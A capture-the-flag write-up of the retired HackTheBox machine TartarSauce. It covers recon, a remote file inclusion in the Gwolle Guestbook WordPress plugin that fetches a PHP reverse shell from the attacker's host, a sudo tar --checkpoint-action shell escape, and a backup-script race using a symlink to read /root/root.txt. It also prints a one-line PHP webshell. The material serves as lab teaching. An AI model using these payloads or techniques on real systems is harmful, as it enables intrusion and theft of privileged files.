the_open_door
coffee
ESEN

TartarSauce

HackTheBoxMediumLinux10.129.1.18513 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#wordpress#gwolle-guestbook#cve-2015-8351#rfi#monstra#robots-txt#sudo#tar#gtfobins#cron#race-condition#symlink#arbitrary-file-read#linux#oscp
TL;DR. TartarSauce is a medium Linux box with a single open port and three flaws that look nothing alike. Port 80 serves a decorative landing page and a robots.txt listing five disallowed paths: four do not exist, and the fifth, a Monstra 3.0.4 that logs in with admin:admin, is a dead end because the file manager refuses every upload. The real path is a sixth directory robots.txt never mentions: a WordPress running the Gwolle Guestbook plugin, which drops whatever URL you hand it in abspath straight into a require() (CVE-2015-8351). That gives a shell as www-data, which may run /bin/tar as onuma and escape through GTFOBins' --checkpoint-action. And in the background runs backuperer, a backup script that leaves thirty seconds between creating the archive and extracting it as root: in that window (race condition) the .tar is swapped for one of ours whose index.html is a symlink to /root/root.txt (symlink abuse), and the diff that checks the backup's integrity writes the flag's contents into an error report we can read (arbitrary file read).
About the evidence. Five screenshots are published and all five are browser shots: Monstra's source with the link to the panel, the admin:admin login, the dashboard once inside, the file manager with the rejected upload, and the unstyled WordPress whose status bar gives away the name tartarsauce.htb. The terminals go as text. Of Ivan Sincek's reverse shell only the two lines we change are published, because the rest is a public file and it is linked. The long dumps (the ASCII landing page, Monstra's HTML, the exploit advisory) are cut, and every cut is marked with .... There is no root shell here: what there is is arbitrary file read with root's privileges, and that is what gets published. Both flags are shown in full because the box is retired.

Reconnaissance#

Initial scan#

The returning TTL hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop: Linux.


ping -c 1 10.129.1.185
64 bytes from 10.129.1.185: icmp_seq=1 ttl=63 time=22.2 ms

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.1.185 -oG scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 16:54 +0000
Initiating SYN Stealth Scan at 16:54
Scanning 10.129.1.185 [65535 ports]
Discovered open port 80/tcp on 10.129.1.185
Completed SYN Stealth Scan at 16:54, 11.04s elapsed (65535 total ports)
Nmap scan report for 10.129.1.185
Host is up, received user-set (0.024s latency).
Scanned at 2026-10-22 16:54:44 UTC for 11s
Not shown: 65286 closed tcp ports (reset), 248 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.13 seconds
           Raw packets sent: 70589 (3.106MB) | Rcvd: 65287 (2.611MB)

A single port. Not even SSH, which already says that everything (entry and lateral movement) is going to come out of the same web server.


nmap -p80 -sCV 10.129.1.185 -oN targetedScan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 16:55 +0000
Nmap scan report for 10.129.1.185
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-title: Landing Page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds

The -sCV has already done half the work: its http-robots.txt script read the file and pulled out the five disallowed paths. A robots.txt is not an access control, it is a list of what the owner does not want indexed, and that is exactly why it is the first thing you look at.

The landing page#


whatweb http://10.129.1.185/
http://10.129.1.185/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.1.185], Title[Landing Page]

Nothing nmap had not said already. The source hides no technology either: it is an ASCII drawing of a sauce bottle and an HTML comment at the end.


curl http://10.129.1.185/
<!DOCTYPE html>
<body style="background-color:black;">
<font color="YellowGreen">
<font size="3">
<html>
<head>
    <title>Landing Page</title>
</head>
<body>
<center>                         <h1 style="font-family:Arial;">Welcome to TartarSauce</h1>
<pre>

                                                                                                     
                                  ```..---::://////+++//////::-..```                                
                             `-/oosssyyyyyyyyyyyyyyyyyyyyyyyyyyyyysso/.                             
                           `ossyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyysyyyyys`                            
                           -yyyyyyysssssssysyyyyyysyssssssssosyyyyyyyyy.                            
...
</font>
</center>
</pre>
</body>
</html>
<!--Carry on, nothing to see here :D-->

That Carry on, nothing to see here :D will show up again at the end of this writeup, and not as a joke: it is one of the lines the privilege escalation's diff ends up comparing.

The five paths in robots.txt#


dirsearch -u http://10.129.1.185/ --exclude-status=403,404 -t 200 2>/dev/null
...                
[16:58:03] 200 -  128B  - /robots.txt                                       
...

curl http://10.129.1.185/robots.txt
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/

Five very promising names. Four of them do not exist:


curl http://10.129.1.185/webservices/tar/tar/source/
...
<title>404 Not Found</title>
...

curl http://10.129.1.185/webservices/easy-file-uploader/
...
<title>404 Not Found</title>
...

curl http://10.129.1.185/webservices/developmental/
...
<title>404 Not Found</title>
...

curl http://10.129.1.185/webservices/phpmyadmin/
...
<title>404 Not Found</title>
...

The fifth does answer, and it introduces itself:


curl http://10.129.1.185/webservices/monstra-3.0.4/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
...
<title>TartarSauce - Home</title>
...
<meta name="robots" content="index, follow"><meta name="generator" content="Powered by Monstra 3.0.4" />
...
<ul>
<li>First make sure you're <a href="/webservices/monstra-3.0.4/admin">logged in.</a></li>
<li>Go to the <a href="/webservices/monstra-3.0.4/admin/index.php?id=pages">Pages Manager</a> and click "Edit" button for this page.</li>
<li>Make your changes, click "Save" and you're done!</li>
</ul>
...
<div class="pull-right">Powered by <a href="http://monstra.org" target="_blank">Monstra</a> 3.0.4</div>
...

It is a freshly installed Monstra 3.0.4, with the default welcome page untouched. And that welcome page hands over the admin panel's path:

Source of the Monstra page with the Pages Manager line highlighted: /webservices/monstra-3.0.4/admin/index.php?id=pages

Monstra's dead end#

An installation that has not changed even its welcome text stands a good chance of not having changed the factory credential either, and admin:admin gets in:

Monstra login at /webservices/monstra-3.0.4/admin/index.php?id=dashboard with admin in both fields and "Monstra – Version 3.0.4" boxed in red at the bottom

Monstra dashboard authenticated as admin, with the Content, Extends, System and Help menus

A panel with Files and Upload File looks like the short way: upload a webshell and done.


nano wshell.php

cat wshell.php
─────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
     │ File: wshell.php
─────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 │ <?php system($_GET["cmd"]); ?>
─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Monstra filters the extension, so it is renamed to .phar, which Apache also runs as PHP. And that is where this road ends: the file shows up selected in the form, but the uploads/ table is still empty after pressing Upload.

Monstra file manager at path=uploads/ with wshell.phar selected next to the Upload button and the Name/Extension/Size table completely empty

It is a decoy. Monstra is there so you spend time on it, just like the four paths that return

  1. This box's robots.txt is not an administrator's slip: it is part of the set.

The directory missing from robots.txt#

If five paths hang off /webservices/, the obvious question is what else is in /webservices/.


dirsearch -u http://10.129.1.185/webservices/ --exclude-status=403,404 -t 200 2>/dev/null
...
[17:55:11] Starting: webservices/                                                                                                                            
[17:56:02] 301 -  321B  - /webservices/wp  ->  http://10.129.1.185/webservices/wp/
[17:56:10] 200 -    1KB - /webservices/wp/wp-login.php                       
[17:56:10] 200 -    3KB - /webservices/wp/

A WordPress, and it is not in robots.txt. The lesson repeats on nearly every box with this pattern: robots.txt says what the owner wants kept out of search engines, not what is there; brute-forcing paths says what is there.

The site's real name: tartarsauce.htb#

The WordPress loads with no styling, the classic sign of a site configured under a domain name different from the one we are using: stylesheets and links are generated from the URL WordPress has stored in its database. Hovering over any link shows it in the status bar:

WordPress at /webservices/wp/ rendered with no CSS, the Sample Page link pointing at http://tartarsauce.htb/webservices/wp/index.php/sample-page/ and "tartarsauce.htb" boxed in the status bar


echo '10.129.1.185 tartarsauce.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.129.1.185 tartarsauce.htb

WPScan: the plugin and its version#


wpscan --url http://tartarsauce.htb/webservices/wp --enumerate p,t,u
[+] URL: http://tartarsauce.htb/webservices/wp/ [10.129.1.185]
[+] Started: Thu Oct 22 18:02:14 2026
...
[+] XML-RPC seems to be enabled: http://tartarsauce.htb/webservices/wp/xmlrpc.php
...
[+] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://tartarsauce.htb/webservices/wp/index.php/feed/, <generator>https://wordpress.org/?v=4.9.4</generator>
...
[+] WordPress theme in use: voce
 | Location: http://tartarsauce.htb/webservices/wp/wp-content/themes/voce/
...
[+] Enumerating Most Popular Plugins (via Passive and Aggressive Methods)

[+] akismet
 | Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/akismet/
...
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] gwolle-gb
 | Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2026-10-14 9:20am GMT (8 days ago, per WordPress.org)
 | Active Installs: 20,000 (per WordPress.org)
 | Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 5.1.2
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 Checking Known Locations - Time: 00:00:09 <===========================================================================> (1497 / 1497) 100.00% Time: 00:00:09
[i] 2 plugin(s) Identified.
...
[+] Enumerating Users (via Passive and Aggressive Methods)

[+] wpadmin
 | Found By: Rss Generator (Passive Detection)
 Brute Forcing Author IDs - Time: 00:00:40 <===============================================================================> (10 / 10) 100.00% Time: 00:00:40
[i] 1 user(s) Identified.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Oct 22 18:04:05 2026
[+] Requests Done: 1978
[+] Cached Requests: 22
[+] Most response codes received: 404: 1926, 200: 41, 500: 8, 302: 1, 403: 1
[+] Data Sent: 595.351 KB
[+] Data Received: 820.026 KB
[+] Memory used: 336.758 MB
[+] Elapsed time: 00:01:51

Two plugins: akismet, which ships with WordPress, and gwolle-gb, a guestbook someone installed by hand. One user, wpadmin. And a plugin version, 2.3.10, worth looking at closely because of how WPScan worked it out: Found By: Readme - Stable Tag. It did not read the code, it read the readme.txt the plugin ships with. The most convenient source and the least reliable.

Shell as www-data#

CVE-2015-8351: remote require() in Gwolle GB#


searchsploit 'gwolle gb'
--------------------------------------------------------------------------------------------------------------------------- 
 Exploit Title                                                                 |  Path
--------------------------------------------------------------------------------------------------------------------------- 
WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion                | php/webapps/38861.txt
--------------------------------------------------------------------------------------------------------------------------- 

searchsploit -m php/webapps/38861.txt
  Exploit: WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion
      URL: https://www.exploit-db.com/exploits/38861
     Path: /usr/share/exploitdb/exploits/php/webapps/38861.txt
    Codes: CVE-2015-8351, OSVDB-129197
 Verified: False
File Type: Unicode text, UTF-8 text, with very long lines (392)
Copied to: /machines/htb/tartarsauce/exploits/38861.txt

cat 38861.txt
─────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
     │ File: 38861.txt
─────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 │ Advisory ID: HTB23275
   2 │ Product: Gwolle Guestbook WordPress Plugin
   3 │ Vendor: Marcel Pol
   4 │ Vulnerable Version(s): 1.5.3 and probably prior
   5 │ Tested Version: 1.5.3
...
  11 │ CVE Reference: CVE-2015-8351
  12 │ Risk Level: Critical
  13 │ CVSSv3 Base Score: 9.0 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H]
...
  23 │ HTTP GET parameter "abspath" is not being properly sanitized before being used in PHP require() function. A remote attacker can include a file named '
     │ wp-load.php' from arbitrary remote server and execute its content on the vulnerable web server. In order to do so the attacker needs to place a malici
     │ ous 'wp-load.php' file into his server document root and includes server's URL into request:
  24 │ 
  25 │ http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
  26 │ 
  27 │ In order to exploit this vulnerability 'allow_url_include' shall be set to 1. Otherwise, attacker may still include local files and also execute arbit
     │ rary code.
...
  36 │ Update to Gwolle Guestbook 1.5.4
...
─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Three things in that advisory deserve a slow read:

  • The abspath parameter ends up inside a PHP require(). It is not concatenated to build a disk path: it is included, which means PHP interprets whatever is on the other end.
  • The plugin appends wp-load.php by itself to whatever we hand it. We control the prefix; the filename is its own.
  • It needs allow_url_include=1 in the server's PHP. That option has been off by default for fifteen years, so it is the condition that decides whether this is remote inclusion or merely local inclusion.

And here is the detail that throws people off on this box: the version does not add up. The advisory talks about 1.5.3 and probably prior and about the fix landing in 1.5.4; the installed plugin's readme.txt says 2.3.10, far later. If the number were the proof, this would be ruled out. But the number comes from a text file shipped inside the plugin, not from the code that runs. So it does not get ruled out: it gets tested.

The proof: an HTTP request back to us#

A remote require() leaves a trace that cannot be mistaken: the victim becomes an HTTP client against us. All it takes is standing a server up and reading the log.


curl 'http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.120/test'

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.1.185 - - [22/Oct/2026 18:08:58] code 404, message File not found
10.129.1.185 - - [22/Oct/2026 18:08:58] "GET /testwp-load.php HTTP/1.0" 404 -

The 404 is ours, because we had not put any file there yet, and it does not matter: what the line proves is that the request arrived. Two facts out of one log line. First: the flaw exists, whatever the readme.txt claimed. Second: the path requested is /testwp-load.php, that is, our test with wp-load.php glued on with no slash in between. That pins down the name of the file we have to serve.

The payload#

If the plugin is going to ask for <whatever I write>wp-load.php, the file is called 1wp-load.php and the URL ends in /1. The payload is Ivan Sincek's PHP reverse shell, published on revshells.com, of which only the two final lines are touched:

$sh = new Shell('10.10.15.120', 4444);
$sh->run();

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

penelope
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 192.168.68.110 • 172.17.0.1 • 10.10.15.120
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

curl 'http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.120/1'

And the shell lands in the listener's terminal:

www-data@TartarSauce:/var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha$ whoami
www-data
www-data@TartarSauce:/var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The shell's working directory is ajaxresponse.php's own, which confirms where the execution came from.

Shell as onuma#

sudo -l: tar as another user#


sudo -l
Matching Defaults entries for www-data on TartarSauce:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

A single entry, and not for root: www-data may run /bin/tar as onuma and with no password. tar is on GTFOBins for a documented reason: its --checkpoint-action option runs a program every N records processed. It is a product feature meant to show progress on a long archive, not a memory bug or an overflow; it is simply that nobody expected tar to end up in a sudoers.


sudo -u onuma tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
$ whoami
onuma
$ bash
onuma@TartarSauce:/tmp$ cd
onuma@TartarSauce:~$ cat user.txt 
3229a4afe086358f93a63de15ac6b419

The /dev/null being archived into /dev/null serves no purpose: it only exists so that tar has something to process and reaches the first checkpoint. The warning on the first line is what tar always prints when handed an absolute path, and it is worth remembering because it shows up again during the privilege escalation. The shell that opens is sh (prompt $), so the first move is jumping into bash.

Privilege escalation#

Watching processes with a script#

Without onuma's password there is no sudo -l to lean on, so the question becomes what tasks the system launches on its own. Instead of fetching a tool, here a three-line watcher is written: two snapshots of the process table and the diff between them, in a loop.


nano procmon.sh

cat procmon.sh
#!/bin/bash

old_process=$(ps -eo command)

while true; do
        new_process=$(ps -eo command)
        diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|procmon|kworker"
        old_process=$new_process
done

The trailing grep -vE strips three kinds of noise: ps's own header, the watcher itself and the kernel threads. What is left is what appears and disappears.


./procmon.sh
> /bin/bash /usr/sbin/backuperer
> /bin/bash /usr/sbin/backuperer
< /bin/bash /usr/sbin/backuperer
> /usr/bin/sudo -u onuma /bin/tar -zcvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 /var/www/html
> /bin/sleep 30
> /bin/tar -zcvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 /var/www/html
> gzip
< /usr/bin/sudo -u onuma /bin/tar -zcvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 /var/www/html
< /bin/tar -zcvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 /var/www/html
< gzip
< /bin/sleep 30
> /bin/tar -zxvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 -C /var/tmp/check
> gzip -d
< /bin/tar -zxvf /var/tmp/.1776a2c5be40254b77fada8b3af3a590d7e50081 -C /var/tmp/check
< gzip -d
> /bin/bash /usr/sbin/backuperer
> /usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
< /bin/bash /usr/sbin/backuperer
< /usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
< /bin/bash /usr/sbin/backuperer

The whole film is right there, > for what comes in and < for what goes out. /usr/sbin/backuperer compresses /var/www/html into a hidden file in /var/tmp, sleeps for thirty seconds, extracts it into /var/tmp/check and compares with a diff -r. And one detail decides everything that follows: the tar that compresses carries sudo -u onuma in front of it, and the one that extracts carries nothing, meaning it runs as the process's owner.

backuperer, line by line#


cat /usr/sbin/backuperer
#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

The script has three weaknesses that are worth nothing on their own and open it wide together:

  1. The archive's name is random but public. tmpfile is a sha1sum of a hundred bytes from /dev/urandom, impossible to guess; but the file is created in /var/tmp, which anyone can list. You do not have to guess it: you have to read it.
  2. The window lasts thirty seconds. The compressing tar is launched in the background (&) and behind it comes a sleep 30 put there to "wait for the backup to complete if large files get added". The script checks nothing when it wakes up: it extracts whatever it finds under that name.
  3. It extracts and compares as root, and writes the result where we can read it. The tar -zxvf with no sudo -u onuma runs with the script's privileges, and if integrity_chk returns anything, that output is appended to /var/backups/onuma_backup_error.txt.

And the piece that binds them: diff follows symlinks. If the archive contains an index.html that is a link to /root/root.txt, extracting it as root creates the link, and the diff that follows opens it, reads whatever is on the other end and writes it into the error report. No root shell needed: it is enough that root reads on our behalf.

The archive has to look like the real one in everything but the file we care about, so we start from an actual copy.


tar -zcvf comprimido.tar /var/www/html &>/dev/null

Port 80 is privileged and onuma is not root, so the archive is served on 8080:


python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 ...

wget http://tartarsauce.htb:8080/comprimido.tar
...
2026-10-22 23:59:13 (2.62 MB/s) - ‘comprimido.tar’ saved [11511296/11511296]

tar -zxvf comprimido.tar &>/dev/null

cd var/www/html

ln -s -f /root/root.txt index.html

ls -l index.html
lrwxrwxrwx 1 root root 14 Oct 23 00:01 index.html -> /root/root.txt

The leading l and the arrow confirm index.html is no longer a file: it is a link. And now the detail that makes this fit. The original tar runs with an absolute path (tar -zcvf $tmpfile /var/www/html), and tar strips the leading slash when archiving (the very Removing leading '/' from member names warning that showed up during the move to onuma): inside the archive the members are called var/www/html/.... That is why var is compressed here in relative form, so that the script's -C /var/tmp/check lands it exactly at /var/tmp/check/var/www/html, which is what the diff is going to look at.


tar -zcvf comprimido.tar var &>/dev/null

ls
comprimido.tar  var

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Winning the race#

Thirty seconds is an eternity for a machine and nothing at all for a person, so the swap is done by a loop: it watches /var/tmp non-stop and, the moment a name starting with a dot and forty characters long shows up (the length of a SHA-1 in hex), it deletes it and puts ours in its place.


nano hijack.sh

cat hijack.sh
#!/bin/bash

function ctrl_c(){
        echo -e "\n\n[!] Saliendo...\n"
        tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis; while true; do
        filename="$(ls -la /var/tmp/ | grep -oP '\.\w{40}')"

        if [ "$filename" ]; then
                echo -e "\n[+] El archivo tiene nombre $filename\n"
                rm -f /var/tmp/$filename
                wget http://10.10.15.120/comprimido.tar -O /var/tmp/$filename
                echo -e "[+] El archivo ha sido secuestrado correctamente\n"
                tput cnorm; exit 0
        fi
done

chmod +x hijack.sh

./hijack.sh

[+] El archivo tiene nombre .5621025ef014ed85798108f9fd41338857d28b69

...
2026-10-22 20:06:07 (2.87 MB/s) - '/var/tmp/.5621025ef014ed85798108f9fd41338857d28b69' saved [11508010/11508010]

[+] El archivo ha sido secuestrado correctamente

An rm before the wget is needed rather than just overwriting, because the file was created by onuma while tar was still writing into it: removing the name and creating a new one avoids fighting an open descriptor. Note as well that this run's filename (.5621025e...) is not the one procmon.sh saw (.1776a2c5...): the script draws a new one on every pass, and that is exactly why it is not guessed, it is read.

The error report#

Thirty seconds later root extracts our archive, creates the link and fires the diff. Since the contents do not match, the result goes to the error file.


cat /var/backups/onuma_backup_error.txt  | tail -n 5
<                                                                                                                                                
<                                                                                                                                                
< <!--Carry on, nothing to see here :D-->                                                                                                        
---                                                                                                                                                          
> c9587f2d57fe9a0b72df39ff8d4c4fff

The < lines are the real index.html: the tail of the ASCII drawing and the landing page's comment, the same Carry on, nothing to see here :D from the beginning. The > line is what diff read on the other side of the link: /root/root.txt.

There is no root shell, and none is needed for the flag, but it is worth saying plainly: what is left on the box is arbitrary file read with root's privileges, repeatable every time the cron fires. The same trick pulls out /etc/shadow, /root/.ssh/id_rsa or anything else that would turn this access into a real shell.

Attack chain#

80 (Apache 2.4.18)  ─►  robots.txt with 5 paths: 4 return 404
  │  monstra-3.0.4 + admin:admin  ─►  a panel, but the manager will NOT upload  ─►  DECOY
  ▼
dirsearch over /webservices/  ─►  /webservices/wp (NOT in robots.txt)
  │  the site loads with no CSS  ─►  a link gives away the vhost tartarsauce.htb
  ▼
wpscan  ─►  WordPress 4.9.4 + gwolle-gb plugin (version read from a readme.txt)
  │  CVE-2015-8351: abspath lands in a require() and the plugin appends "wp-load.php"
  ▼
abspath=http://<kali>/test  ─►  log: GET /testwp-load.php  ─►  the flaw EXISTS
  │  1wp-load.php (PHP reverse shell)  +  abspath=http://<kali>/1
  ▼
shell as www-data
  │  sudo -l: (onuma) NOPASSWD: /bin/tar
  ▼
tar --checkpoint=1 --checkpoint-action=exec=/bin/sh  ─►  onuma  ─►  user.txt
  │  procmon.sh  ─►  /usr/sbin/backuperer: tar -zcvf & ... sleep 30 ... tar -zxvf (as root)
  ▼
our own archive with index.html -> /root/root.txt  +  hijack.sh inside the 30 s window
  │  root extracts the symlink and compares it with diff, which FOLLOWS the link
  ▼
/var/backups/onuma_backup_error.txt  ─►  root.txt

Lessons learned#

  • robots.txt is a map of what somebody wants hidden, not of what is there. Four of the five paths did not exist, the fifth was a complete decoy, and the real way in (/webservices/wp) was not listed. Reading it is fine; believing it is not.
  • A version read from a readme.txt is not the code's version. WPScan reported gwolle-gb 2.3.10, eight branches past the fix, and the flaw was still there. When a check is cheap, you run it: one request to the endpoint and an http.server watching were enough to settle it.
  • A remote require() is confirmed from the outside. Nothing had to show up in the browser: the GET /testwp-load.php line on our own server proved at once that the parameter gets included and what exact name the file needs.
  • tar in a sudoers is a shell. Not through a bug, but through --checkpoint-action, a documented feature. Before adding a binary to sudoers you look it up on GTFOBins, because the problem is not the program: it is that almost all of them know how to run something.
  • A sleep is a window. Thirty seconds added "in case the archive is large" turn a temporary file into an injection point. The right way is waiting on the process (wait), working in a directory only root can write to, and verifying the archive before opening it.
  • diff follows symlinks, and reading is a privilege too. The escalation never got anything executed as root: it got root to read a file and write the result where we could see it. An error report is an output channel.
Command cheatsheet 15 commands

Quick review